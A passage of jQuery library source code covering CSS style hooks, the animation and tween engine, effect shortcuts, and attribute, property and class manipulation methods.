hidden = isHidden( elem );
if ( display && display !== "none" || !hidden ) {
data_priv.set( elem, "olddisplay", hidden ? display : jQuery.css(elem, "display") );
}
}
}
}
// Set the display of most of the elements in a second loop
// to avoid the constant reflow
for ( index = 0; index < length; index++ ) {
elem = elements[ index ];
if ( !elem.style ) {
continue;
}
if ( !show || elem.style.display === "none" || elem.style.display === "" ) {
elem.style.display = show ? values[ index ] || "" : "none";
}
}
return elements;
}
jQuery.extend({
// Add in style property hooks for overriding the default
// behavior of getting and setting a style property
cssHooks: {
opacity: {
get: function( elem, computed ) {
if ( computed ) {
// We should always get a number back from opacity
var ret = curCSS( elem, "opacity" );
return ret === "" ? "1" : ret;
}
}
}
},
// Don't automatically add "px" to these possibly-unitless properties
cssNumber: {
"columnCount": true,
"fillOpacity": true,
"fontWeight": true,
"lineHeight": true,
"opacity": true,
"order": true,
"orphans": true,
"widows": true,
"zIndex": true,
"zoom": true
},
// Add in properties whose names you wish to fix before
// setting or getting the value
cssProps: {
// normalize float css property
"float": "cssFloat"
},
// Get and set the style property on a DOM Node
style: function( elem, name, value, extra ) {
// Don't set styles on text and comment nodes
if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
return;
}
// Make sure that we're working with the right name
var ret, type, hooks,
origName = jQuery.camelCase( name ),
style = elem.style;
name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( style, origName ) );
// gets hook for the prefixed version
// followed by the unprefixed version
hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
// Check if we're setting a value
if ( value !== undefined ) {
type = typeof value;
// convert relative number strings (+= or -=) to relative numbers. #7345
if ( type === "string" && (ret = rrelNum.exec( value )) ) {
value = ( ret[1] + 1 ) * ret[2] + parseFloat( jQuery.css( elem, name ) );
// Fixes bug #9237
type = "number";
}
// Make sure that null and NaN values aren't set. See: #7116
if ( value == null || value !== value ) {
return;
}
// If a number was passed in, add 'px' to the (except for certain CSS properties)
if ( type === "number" && !jQuery.cssNumber[ origName ] ) {
value += "px";
}
// Fixes #8908, it can be done more correctly by specifying setters in cssHooks,
// but it would mean to define eight (for every problematic property) identical functions
if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) {
style[ name ] = "inherit";
}
// If a hook was provided, use that value, otherwise just set the specified value
if ( !hooks || !("set" in hooks) || (value = hooks.set( elem, value, extra )) !== undefined ) {
// Support: Chrome, Safari
// Setting style to blank string required to delete "style: x !important;"
style[ name ] = "";
style[ name ] = value;
}
} else {
// If a hook was provided get the non-computed value from there
if ( hooks && "get" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) {
return ret;
}
// Otherwise just get the value from the style object
return style[ name ];
}
},
css: function( elem, name, extra, styles ) {
var val, num, hooks,
origName = jQuery.camelCase( name );
// Make sure that we're working with the right name
name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( elem.style, origName ) );
// gets hook for the prefixed version
// followed by the unprefixed version
hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
// If a hook was provided get the computed value from there
if ( hooks && "get" in hooks ) {
val = hooks.get( elem, true, extra );
}
// Otherwise, if a way to get the computed value exists, use that
if ( val === undefined ) {
val = curCSS( elem, name, styles );
}
//convert "normal" to computed value
if ( val === "normal" && name in cssNormalTransform ) {
val = cssNormalTransform[ name ];
}
// Return, converting to number if forced or a qualifier was provided and val looks numeric
if ( extra === "" || extra ) {
num = parseFloat( val );
return extra === true || jQuery.isNumeric( num ) ? num || 0 : val;
}
return val;
}
});
jQuery.each([ "height", "width" ], function( i, name ) {
jQuery.cssHooks[ name ] = {
get: function( elem, computed, extra ) {
if ( computed ) {
// certain elements can have dimension info if we invisibly show them
// however, it must have a current display style that would benefit from this
return elem.offsetWidth === 0 && rdisplayswap.test( jQuery.css( elem, "display" ) ) ?
jQuery.swap( elem, cssShow, function() {
return getWidthOrHeight( elem, name, extra );
}) :
getWidthOrHeight( elem, name, extra );
}
},
set: function( elem, value, extra ) {
var styles = extra && getStyles( elem );
return setPositiveNumber( elem, value, extra ?
augmentWidthOrHeight(
elem,
name,
extra,
jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
styles
) : 0
);
}
};
});
// Support: Android 2.3
jQuery.cssHooks.marginRight = addGetHookIf( support.reliableMarginRight,
function( elem, computed ) {
if ( computed ) {
// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
// Work around by temporarily setting element display to inline-block
return jQuery.swap( elem, { "display": "inline-block" },
curCSS, [ elem, "marginRight" ] );
}
}
);
// These hooks are used by animate to expand properties
jQuery.each({
margin: "",
padding: "",
border: "Width"
}, function( prefix, suffix ) {
jQuery.cssHooks[ prefix + suffix ] = {
expand: function( value ) {
var i = 0,
expanded = {},
// assumes a single number if not a string
parts = typeof value === "string" ? value.split(" ") : [ value ];
for ( ; i < 4; i++ ) {
expanded[ prefix + cssExpand[ i ] + suffix ] =
parts[ i ] || parts[ i - 2 ] || parts[ 0 ];
}
return expanded;
}
};
if ( !rmargin.test( prefix ) ) {
jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;
}
});
jQuery.fn.extend({
css: function( name, value ) {
return access( this, function( elem, name, value ) {
var styles, len,
map = {},
i = 0;
if ( jQuery.isArray( name ) ) {
styles = getStyles( elem );
len = name.length;
for ( ; i < len; i++ ) {
map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );
}
return map;
}
return value !== undefined ?
jQuery.style( elem, name, value ) :
jQuery.css( elem, name );
}, name, value, arguments.length > 1 );
},
show: function() {
return showHide( this, true );
},
hide: function() {
return showHide( this );
},
toggle: function( state ) {
if ( typeof state === "boolean" ) {
return state ? this.show() : this.hide();
}
return this.each(function() {
if ( isHidden( this ) ) {
jQuery( this ).show();
} else {
jQuery( this ).hide();
}
});
}
});
function Tween( elem, options, prop, end, easing ) {
return new Tween.prototype.init( elem, options, prop, end, easing );
}
jQuery.Tween = Tween;
Tween.prototype = {
constructor: Tween,
init: function( elem, options, prop, end, easing, unit ) {
this.elem = elem;
this.prop = prop;
this.easing = easing || "swing";
this.options = options;
this.start = this.now = this.cur();
this.end = end;
this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" );
},
cur: function() {
var hooks = Tween.propHooks[ this.prop ];
return hooks && hooks.get ?
hooks.get( this ) :
Tween.propHooks._default.get( this );
},
run: function( percent ) {
var eased,
hooks = Tween.propHooks[ this.prop ];
if ( this.options.duration ) {
this.pos = eased = jQuery.easing[ this.easing ](
percent, this.options.duration * percent, 0, 1, this.options.duration
);
} else {
this.pos = eased = percent;
}
this.now = ( this.end - this.start ) * eased + this.start;
if ( this.options.step ) {
this.options.step.call( this.elem, this.now, this );
}
if ( hooks && hooks.set ) {
hooks.set( this );
} else {
Tween.propHooks._default.set( this );
}
return this;
}
};
Tween.prototype.init.prototype = Tween.prototype;
Tween.propHooks = {
_default: {
get: function( tween ) {
var result;
if ( tween.elem[ tween.prop ] != null &&
(!tween.elem.style || tween.elem.style[ tween.prop ] == null) ) {
return tween.elem[ tween.prop ];
}
// passing an empty string as a 3rd parameter to .css will automatically
// attempt a parseFloat and fallback to a string if the parse fails
// so, simple values such as "10px" are parsed to Float.
// complex values such as "rotate(1rad)" are returned as is.
result = jQuery.css( tween.elem, tween.prop, "" );
// Empty strings, null, undefined and "auto" are converted to 0.
return !result || result === "auto" ? 0 : result;
},
set: function( tween ) {
// use step hook for back compat - use cssHook if its there - use .style if its
// available and use plain properties where available
if ( jQuery.fx.step[ tween.prop ] ) {
jQuery.fx.step[ tween.prop ]( tween );
} else if ( tween.elem.style && ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null || jQuery.cssHooks[ tween.prop ] ) ) {
jQuery.style( tween.elem, tween.prop, tween.now + tween.unit );
} else {
tween.elem[ tween.prop ] = tween.now;
}
}
}
};
// Support: IE9
// Panic based approach to setting things on disconnected nodes
Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
set: function( tween ) {
if ( tween.elem.nodeType && tween.elem.parentNode ) {
tween.elem[ tween.prop ] = tween.now;
}
}
};
jQuery.easing = {
linear: function( p ) {
return p;
},
swing: function( p ) {
return 0.5 - Math.cos( p * Math.PI ) / 2;
}
};
jQuery.fx = Tween.prototype.init;
// Back Compat <1.8 extension point
jQuery.fx.step = {};
var
fxNow, timerId,
rfxtypes = /^(?:toggle|show|hide)$/,
rfxnum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ),
rrun = /queueHooks$/,
animationPrefilters = [ defaultPrefilter ],
tweeners = {
"*": [ function( prop, value ) {
var tween = this.createTween( prop, value ),
target = tween.cur(),
parts = rfxnum.exec( value ),
unit = parts && parts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ),
// Starting value computation is required for potential unit mismatches
start = ( jQuery.cssNumber[ prop ] || unit !== "px" && +target ) &&
rfxnum.exec( jQuery.css( tween.elem, prop ) ),
scale = 1,
maxIterations = 20;
if ( start && start[ 3 ] !== unit ) {
// Trust units reported by jQuery.css
unit = unit || start[ 3 ];
// Make sure we update the tween properties later on
parts = parts || [];
// Iteratively approximate from a nonzero starting point
start = +target || 1;
do {
// If previous iteration zeroed out, double until we get *something*
// Use a string for doubling factor so we don't accidentally see scale as unchanged below
scale = scale || ".5";
// Adjust and apply
start = start / scale;
jQuery.style( tween.elem, prop, start + unit );
// Update scale, tolerating zero or NaN from tween.cur()
// And breaking the loop if scale is unchanged or perfect, or if we've just had enough
} while ( scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations );
}
// Update tween properties
if ( parts ) {
start = tween.start = +start || +target || 0;
tween.unit = unit;
// If a +=/-= token was provided, we're doing a relative animation
tween.end = parts[ 1 ] ?
start + ( parts[ 1 ] + 1 ) * parts[ 2 ] :
+parts[ 2 ];
}
return tween;
} ]
};
// Animations created synchronously will run synchronously
function createFxNow() {
setTimeout(function() {
fxNow = undefined;
});
return ( fxNow = jQuery.now() );
}
// Generate parameters to create a standard animation
function genFx( type, includeWidth ) {
var which,
i = 0,
attrs = { height: type };
// if we include width, step value is 1 to do all cssExpand values,
// if we don't include width, step value is 2 to skip over Left and Right
includeWidth = includeWidth ? 1 : 0;
for ( ; i < 4 ; i += 2 - includeWidth ) {
which = cssExpand[ i ];
attrs[ "margin" + which ] = attrs[ "padding" + which ] = type;
}
if ( includeWidth ) {
attrs.opacity = attrs.width = type;
}
return attrs;
}
function createTween( value, prop, animation ) {
var tween,
collection = ( tweeners[ prop ] || [] ).concat( tweeners[ "*" ] ),
index = 0,
length = collection.length;
for ( ; index < length; index++ ) {
if ( (tween = collection[ index ].call( animation, prop, value )) ) {
// we're done with this property
return tween;
}
}
}
function defaultPrefilter( elem, props, opts ) {
/* jshint validthis: true */
var prop, value, toggle, tween, hooks, oldfire, display,
anim = this,
orig = {},
style = elem.style,
hidden = elem.nodeType && isHidden( elem ),
dataShow = data_priv.get( elem, "fxshow" );
// handle queue: false promises
if ( !opts.queue ) {
hooks = jQuery._queueHooks( elem, "fx" );
if ( hooks.unqueued == null ) {
hooks.unqueued = 0;
oldfire = hooks.empty.fire;
hooks.empty.fire = function() {
if ( !hooks.unqueued ) {
oldfire();
}
};
}
hooks.unqueued++;
anim.always(function() {
// doing this makes sure that the complete handler will be called
// before this completes
anim.always(function() {
hooks.unqueued--;
if ( !jQuery.queue( elem, "fx" ).length ) {
hooks.empty.fire();
}
});
});
}
// height/width overflow pass
if ( elem.nodeType === 1 && ( "height" in props || "width" in props ) ) {
// Make sure that nothing sneaks out
// Record all 3 overflow attributes because IE9-10 do not
// change the overflow attribute when overflowX and
// overflowY are set to the same value
opts.overflow = [ style.overflow, style.overflowX, style.overflowY ];
// Set display property to inline-block for height/width
// animations on inline elements that are having width/height animated
display = jQuery.css( elem, "display" );
// Get default display if display is currently "none"
if ( display === "none" ) {
display = defaultDisplay( elem.nodeName );
}
if ( display === "inline" &&
jQuery.css( elem, "float" ) === "none" ) {
style.display = "inline-block";
}
}
if ( opts.overflow ) {
style.overflow = "hidden";
anim.always(function() {
style.overflow = opts.overflow[ 0 ];
style.overflowX = opts.overflow[ 1 ];
style.overflowY = opts.overflow[ 2 ];
});
}
// show/hide pass
for ( prop in props ) {
value = props[ prop ];
if ( rfxtypes.exec( value ) ) {
delete props[ prop ];
toggle = toggle || value === "toggle";
if ( value === ( hidden ? "hide" : "show" ) ) {
// If there is dataShow left over from a stopped hide or show and we are going to proceed with show, we should pretend to be hidden
if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) {
hidden = true;
} else {
continue;
}
}
orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );
}
}
if ( !jQuery.isEmptyObject( orig ) ) {
if ( dataShow ) {
if ( "hidden" in dataShow ) {
hidden = dataShow.hidden;
}
} else {
dataShow = data_priv.access( elem, "fxshow", {} );
}
// store state if its toggle - enables .stop().toggle() to "reverse"
if ( toggle ) {
dataShow.hidden = !hidden;
}
if ( hidden ) {
jQuery( elem ).show();
} else {
anim.done(function() {
jQuery( elem ).hide();
});
}
anim.done(function() {
var prop;
data_priv.remove( elem, "fxshow" );
for ( prop in orig ) {
jQuery.style( elem, prop, orig[ prop ] );
}
});
for ( prop in orig ) {
tween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );
if ( !( prop in dataShow ) ) {
dataShow[ prop ] = tween.start;
if ( hidden ) {
tween.end = tween.start;
tween.start = prop === "width" || prop === "height" ? 1 : 0;
}
}
}
}
}
function propFilter( props, specialEasing ) {
var index, name, easing, value, hooks;
// camelCase, specialEasing and expand cssHook pass
for ( index in props ) {
name = jQuery.camelCase( index );
easing = specialEasing[ name ];
value = props[ index ];
if ( jQuery.isArray( value ) ) {
easing = value[ 1 ];
value = props[ index ] = value[ 0 ];
}
if ( index !== name ) {
props[ name ] = value;
delete props[ index ];
}
hooks = jQuery.cssHooks[ name ];
if ( hooks && "expand" in hooks ) {
value = hooks.expand( value );
delete props[ name ];
// not quite $.extend, this wont overwrite keys already present.
// also - reusing 'index' from above because we have the correct "name"
for ( index in value ) {
if ( !( index in props ) ) {
props[ index ] = value[ index ];
specialEasing[ index ] = easing;
}
}
} else {
specialEasing[ name ] = easing;
}
}
}
function Animation( elem, properties, options ) {
var result,
stopped,
index = 0,
length = animationPrefilters.length,
deferred = jQuery.Deferred().always( function() {
// don't match elem in the :animated selector
delete tick.elem;
}),
tick = function() {
if ( stopped ) {
return false;
}
var currentTime = fxNow || createFxNow(),
remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),
// archaic crash bug won't allow us to use 1 - ( 0.5 || 0 ) (#12497)
temp = remaining / animation.duration || 0,
percent = 1 - temp,
index = 0,
length = animation.tweens.length;
for ( ; index < length ; index++ ) {
animation.tweens[ index ].run( percent );
}
deferred.notifyWith( elem, [ animation, percent, remaining ]);
if ( percent < 1 && length ) {
return remaining;
} else {
deferred.resolveWith( elem, [ animation ] );
return false;
}
},
animation = deferred.promise({
elem: elem,
props: jQuery.extend( {}, properties ),
opts: jQuery.extend( true, { specialEasing: {} }, options ),
originalProperties: properties,
originalOptions: options,
startTime: fxNow || createFxNow(),
duration: options.duration,
tweens: [],
createTween: function( prop, end ) {
var tween = jQuery.Tween( elem, animation.opts, prop, end,
animation.opts.specialEasing[ prop ] || animation.opts.easing );
animation.tweens.push( tween );
return tween;
},
stop: function( gotoEnd ) {
var index = 0,
// if we are going to the end, we want to run all the tweens
// otherwise we skip this part
length = gotoEnd ? animation.tweens.length : 0;
if ( stopped ) {
return this;
}
stopped = true;
for ( ; index < length ; index++ ) {
animation.tweens[ index ].run( 1 );
}
// resolve when we played the last frame
// otherwise, reject
if ( gotoEnd ) {
deferred.resolveWith( elem, [ animation, gotoEnd ] );
} else {
deferred.rejectWith( elem, [ animation, gotoEnd ] );
}
return this;
}
}),
props = animation.props;
propFilter( props, animation.opts.specialEasing );
for ( ; index < length ; index++ ) {
result = animationPrefilters[ index ].call( animation, elem, props, animation.opts );
if ( result ) {
return result;
}
}
jQuery.map( props, createTween, animation );
if ( jQuery.isFunction( animation.opts.start ) ) {
animation.opts.start.call( elem, animation );
}
jQuery.fx.timer(
jQuery.extend( tick, {
elem: elem,
anim: animation,
queue: animation.opts.queue
})
);
// attach callbacks from options
return animation.progress( animation.opts.progress )
.done( animation.opts.done, animation.opts.complete )
.fail( animation.opts.fail )
.always( animation.opts.always );
}
jQuery.Animation = jQuery.extend( Animation, {
tweener: function( props, callback ) {
if ( jQuery.isFunction( props ) ) {
callback = props;
props = [ "*" ];
} else {
props = props.split(" ");
}
var prop,
index = 0,
length = props.length;
for ( ; index < length ; index++ ) {
prop = props[ index ];
tweeners[ prop ] = tweeners[ prop ] || [];
tweeners[ prop ].unshift( callback );
}
},
prefilter: function( callback, prepend ) {
if ( prepend ) {
animationPrefilters.unshift( callback );
} else {
animationPrefilters.push( callback );
}
}
});
jQuery.speed = function( speed, easing, fn ) {
var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : {
complete: fn || !fn && easing ||
jQuery.isFunction( speed ) && speed,
duration: speed,
easing: fn && easing || easing && !jQuery.isFunction( easing ) && easing
};
opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration :
opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default;
// normalize opt.queue - true/undefined/null -> "fx"
if ( opt.queue == null || opt.queue === true ) {
opt.queue = "fx";
}
// Queueing
opt.old = opt.complete;
opt.complete = function() {
if ( jQuery.isFunction( opt.old ) ) {
opt.old.call( this );
}
if ( opt.queue ) {
jQuery.dequeue( this, opt.queue );
}
};
return opt;
};
jQuery.fn.extend({
fadeTo: function( speed, to, easing, callback ) {
// show any hidden elements after setting opacity to 0
return this.filter( isHidden ).css( "opacity", 0 ).show()
// animate to the value specified
.end().animate({ opacity: to }, speed, easing, callback );
},
animate: function( prop, speed, easing, callback ) {
var empty = jQuery.isEmptyObject( prop ),
optall = jQuery.speed( speed, easing, callback ),
doAnimation = function() {
// Operate on a copy of prop so per-property easing won't be lost
var anim = Animation( this, jQuery.extend( {}, prop ), optall );
// Empty animations, or finishing resolves immediately
if ( empty || data_priv.get( this, "finish" ) ) {
anim.stop( true );
}
};
doAnimation.finish = doAnimation;
return empty || optall.queue === false ?
this.each( doAnimation ) :
this.queue( optall.queue, doAnimation );
},
stop: function( type, clearQueue, gotoEnd ) {
var stopQueue = function( hooks ) {
var stop = hooks.stop;
delete hooks.stop;
stop( gotoEnd );
};
if ( typeof type !== "string" ) {
gotoEnd = clearQueue;
clearQueue = type;
type = undefined;
}
if ( clearQueue && type !== false ) {
this.queue( type || "fx", [] );
}
return this.each(function() {
var dequeue = true,
index = type != null && type + "queueHooks",
timers = jQuery.timers,
data = data_priv.get( this );
if ( index ) {
if ( data[ index ] && data[ index ].stop ) {
stopQueue( data[ index ] );
}
} else {
for ( index in data ) {
if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {
stopQueue( data[ index ] );
}
}
}
for ( index = timers.length; index--; ) {
if ( timers[ index ].elem === this && (type == null || timers[ index ].queue === type) ) {
timers[ index ].anim.stop( gotoEnd );
dequeue = false;
timers.splice( index, 1 );
}
}
// start the next in the queue if the last step wasn't forced
// timers currently will call their complete callbacks, which will dequeue
// but only if they were gotoEnd
if ( dequeue || !gotoEnd ) {
jQuery.dequeue( this, type );
}
});
},
finish: function( type ) {
if ( type !== false ) {
type = type || "fx";
}
return this.each(function() {
var index,
data = data_priv.get( this ),
queue = data[ type + "queue" ],
hooks = data[ type + "queueHooks" ],
timers = jQuery.timers,
length = queue ? queue.length : 0;
// enable finishing flag on private data
data.finish = true;
// empty the queue first
jQuery.queue( this, type, [] );
if ( hooks && hooks.stop ) {
hooks.stop.call( this, true );
}
// look for any active animations, and finish them
for ( index = timers.length; index--; ) {
if ( timers[ index ].elem === this && timers[ index ].queue === type ) {
timers[ index ].anim.stop( true );
timers.splice( index, 1 );
}
}
// look for any animations in the old queue and finish them
for ( index = 0; index < length; index++ ) {
if ( queue[ index ] && queue[ index ].finish ) {
queue[ index ].finish.call( this );
}
}
// turn off finishing flag
delete data.finish;
});
}
});
jQuery.each([ "toggle", "show", "hide" ], function( i, name ) {
var cssFn = jQuery.fn[ name ];
jQuery.fn[ name ] = function( speed, easing, callback ) {
return speed == null || typeof speed === "boolean" ?
cssFn.apply( this, arguments ) :
this.animate( genFx( name, true ), speed, easing, callback );
};
});
// Generate shortcuts for custom animations
jQuery.each({
slideDown: genFx("show"),
slideUp: genFx("hide"),
slideToggle: genFx("toggle"),
fadeIn: { opacity: "show" },
fadeOut: { opacity: "hide" },
fadeToggle: { opacity: "toggle" }
}, function( name, props ) {
jQuery.fn[ name ] = function( speed, easing, callback ) {
return this.animate( props, speed, easing, callback );
};
});
jQuery.timers = [];
jQuery.fx.tick = function() {
var timer,
i = 0,
timers = jQuery.timers;
fxNow = jQuery.now();
for ( ; i < timers.length; i++ ) {
timer = timers[ i ];
// Checks the timer has not already been removed
if ( !timer() && timers[ i ] === timer ) {
timers.splice( i--, 1 );
}
}
if ( !timers.length ) {
jQuery.fx.stop();
}
fxNow = undefined;
};
jQuery.fx.timer = function( timer ) {
jQuery.timers.push( timer );
if ( timer() ) {
jQuery.fx.start();
} else {
jQuery.timers.pop();
}
};
jQuery.fx.interval = 13;
jQuery.fx.start = function() {
if ( !timerId ) {
timerId = setInterval( jQuery.fx.tick, jQuery.fx.interval );
}
};
jQuery.fx.stop = function() {
clearInterval( timerId );
timerId = null;
};
jQuery.fx.speeds = {
slow: 600,
fast: 200,
// Default speed
_default: 400
};
// Based off of the plugin by Clint Helfers, with permission.
// http://blindsignals.com/index.php/2009/07/jquery-delay/
jQuery.fn.delay = function( time, type ) {
time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
type = type || "fx";
return this.queue( type, function( next, hooks ) {
var timeout = setTimeout( next, time );
hooks.stop = function() {
clearTimeout( timeout );
};
});
};
(function() {
var input = document.createElement( "input" ),
select = document.createElement( "select" ),
opt = select.appendChild( document.createElement( "option" ) );
input.type = "checkbox";
// Support: iOS 5.1, Android 4.x, Android 2.3
// Check the default checkbox/radio value ("" on old WebKit; "on" elsewhere)
support.checkOn = input.value !== "";
// Must access the parent to make an option select properly
// Support: IE9, IE10
support.optSelected = opt.selected;
// Make sure that the options inside disabled selects aren't marked as disabled
// (WebKit marks them as disabled)
select.disabled = true;
support.optDisabled = !opt.disabled;
// Check if an input maintains its value after becoming a radio
// Support: IE9, IE10
input = document.createElement( "input" );
input.value = "t";
input.type = "radio";
support.radioValue = input.value === "t";
})();
var nodeHook, boolHook,
attrHandle = jQuery.expr.attrHandle;
jQuery.fn.extend({
attr: function( name, value ) {
return access( this, jQuery.attr, name, value, arguments.length > 1 );
},
removeAttr: function( name ) {
return this.each(function() {
jQuery.removeAttr( this, name );
});
}
});
jQuery.extend({
attr: function( elem, name, value ) {
var hooks, ret,
nType = elem.nodeType;
// don't get/set attributes on text, comment and attribute nodes
if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
return;
}
// Fallback to prop when attributes are not supported
if ( typeof elem.getAttribute === strundefined ) {
return jQuery.prop( elem, name, value );
}
// All attributes are lowercase
// Grab necessary hook if one is defined
if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
name = name.toLowerCase();
hooks = jQuery.attrHooks[ name ] ||
( jQuery.expr.match.bool.test( name ) ? boolHook : nodeHook );
}
if ( value !== undefined ) {
if ( value === null ) {
jQuery.removeAttr( elem, name );
} else if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) {
return ret;
} else {
elem.setAttribute( name, value + "" );
return value;
}
} else if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) {
return ret;
} else {
ret = jQuery.find.attr( elem, name );
// Non-existent attributes return null, we normalize to undefined
return ret == null ?
undefined :
ret;
}
},
removeAttr: function( elem, value ) {
var name, propName,
i = 0,
attrNames = value && value.match( rnotwhite );
if ( attrNames && elem.nodeType === 1 ) {
while ( (name = attrNames[i++]) ) {
propName = jQuery.propFix[ name ] || name;
// Boolean attributes get special treatment (#10870)
if ( jQuery.expr.match.bool.test( name ) ) {
// Set corresponding property to false
elem[ propName ] = false;
}
elem.removeAttribute( name );
}
}
},
attrHooks: {
type: {
set: function( elem, value ) {
if ( !support.radioValue && value === "radio" &&
jQuery.nodeName( elem, "input" ) ) {
// Setting the type on a radio button after the value resets the value in IE6-9
// Reset value to default in case type is set after value during creation
var val = elem.value;
elem.setAttribute( "type", value );
if ( val ) {
elem.value = val;
}
return value;
}
}
}
}
});
// Hooks for boolean attributes
boolHook = {
set: function( elem, value, name ) {
if ( value === false ) {
// Remove boolean attributes when set to false
jQuery.removeAttr( elem, name );
} else {
elem.setAttribute( name, name );
}
return name;
}
};
jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) {
var getter = attrHandle[ name ] || jQuery.find.attr;
attrHandle[ name ] = function( elem, name, isXML ) {
var ret, handle;
if ( !isXML ) {
// Avoid an infinite loop by temporarily removing this function from the getter
handle = attrHandle[ name ];
attrHandle[ name ] = ret;
ret = getter( elem, name, isXML ) != null ?
name.toLowerCase() :
null;
attrHandle[ name ] = handle;
}
return ret;
};
});
var rfocusable = /^(?:input|select|textarea|button)$/i;
jQuery.fn.extend({
prop: function( name, value ) {
return access( this, jQuery.prop, name, value, arguments.length > 1 );
},
removeProp: function( name ) {
return this.each(function() {
delete this[ jQuery.propFix[ name ] || name ];
});
}
});
jQuery.extend({
propFix: {
"for": "htmlFor",
"class": "className"
},
prop: function( elem, name, value ) {
var ret, hooks, notxml,
nType = elem.nodeType;
// don't get/set properties on text, comment and attribute nodes
if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
return;
}
notxml = nType !== 1 || !jQuery.isXMLDoc( elem );
if ( notxml ) {
// Fix name and attach hooks
name = jQuery.propFix[ name ] || name;
hooks = jQuery.propHooks[ name ];
}
if ( value !== undefined ) {
return hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ?
ret :
( elem[ name ] = value );
} else {
return hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ?
ret :
elem[ name ];
}
},
propHooks: {
tabIndex: {
get: function( elem ) {
return elem.hasAttribute( "tabindex" ) || rfocusable.test( elem.nodeName ) || elem.href ?
elem.tabIndex :
-1;
}
}
}
});
// Support: IE9+
// Selectedness for an option in an optgroup can be inaccurate
if ( !support.optSelected ) {
jQuery.propHooks.selected = {
get: function( elem ) {
var parent = elem.parentNode;
if ( parent && parent.parentNode ) {
parent.parentNode.selectedIndex;
}
return null;
}
};
}
jQuery.each([
"tabIndex",
"readOnly",
"maxLength",
"cellSpacing",
"cellPadding",
"rowSpan",
"colSpan",
"useMap",
"frameBorder",
"contentEditable"
], function() {
jQuery.propFix[ this.toLowerCase() ] = this;
});
var rclass = /[\t\r\n\f]/g;
jQuery.fn.extend({
addClass: function( value ) {
var classes, elem, cur, clazz, j, finalValue,
proceed = typeof value === "string" && value,
i = 0,
len = this.length;
if ( jQuery.isFunction( value ) ) {
return this.each(function( j ) {
jQuery( this ).addClass( value.call( this, j, this.className ) );
});
}
if ( proceed ) {
// The disjunction here is for better compressibility (see removeClass)
classes = ( value || "" ).match( rnotwhite ) || [];
for ( ; i < len; i++ ) {
elem = this[ i ];
cur = elem.nodeType === 1 && ( elem.className ?
( " " + elem.className + " " ).replace( rclass, " " ) :
" "
);
if ( cur ) {
j = 0;
while ( (clazz = classes[j++]) ) {
if ( cur.indexOf( " " + clazz + " " ) < 0 ) {
cur += clazz + " ";
}
}
// only assign if different to avoid unneeded rendering.
finalValue = jQuery.trim( cur );
if ( elem.className !== finalValue ) {
elem.className = finalValue;
}
}
}
}
return this;
},
removeClass: function( value ) {
var classes, elem, cur, clazz, j, finalValue,
proceed = arguments.length === 0 || typeof value === "string" && value,
i = 0,
len = this.length;
if ( jQuery.isFunction( value ) ) {
return this.each(function( j ) {
jQuery( this ).removeClass( value.call( this, j, this.className ) );
});
}
if ( proceed ) {
classes = ( value || "" ).match( rnotwhite ) || [];
for ( ; i < len; i++ ) {
elem = this[ i ];
// This expression is here for better compressibility (see addClass)
cur = elem.nodeType === 1 && ( elem.className ?
( " " + elem.className + " " ).replace( rclass, " " ) :
""
);
if ( cur ) {
j = 0;
while ( (clazz = classes[j++]) ) {
// Remove *all* instances
while ( cur.indexOf( " " + clazz + " " ) >= 0 ) {
cur = cur.replace( " " + clazz + " ", " " );
}
}
// only assign if different to avoid unneeded rendering.
finalValue = value ? jQuery.trim( cur ) : "";
if ( elem.className !== finalValue ) {
elem.className = finalValue;
}
}
}
}
return this;
},
toggleClass: function( value, stateVal ) {
var type = typeof value;
if ( typeof stateVal === "boolean" && type === "string" ) {
return stateVal ? this.addClass( value ) : this.removeClass( value );
}
if ( jQuery.isFunction( value ) ) {
return this.each(function( i ) {
jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal );
});
}
return this.each(function() {
if ( type === "string" ) {
// toggle individual class names
var className,
i = 0,
self = jQuery( this ),
classNames = value.match( rnotwhite ) || [];
while ( (className = classNames[ i++ ]) ) {
// check each className given, space separated list
if ( self.hasClass( className ) ) {
self.removeClass( className );
} else {
self.addClass( className );
}
}
// Toggle whole class name
} else if ( type === strundefined || type === "boolean" ) {
if ( this.className ) {
// store className if set
data_priv.set( this, "__className__", this.className );
}
// If the element has a class name or if we're passed "false",
// then remove the whole classname (if there was one, the above saved it).
// Otherwise bring back whatever was previously saved (if anything),
// falling back to the empty string if nothing was stored.
this.className = this.className || value === false ? "" : data_priv.get( this, "__className__" ) || "";
}
});
},
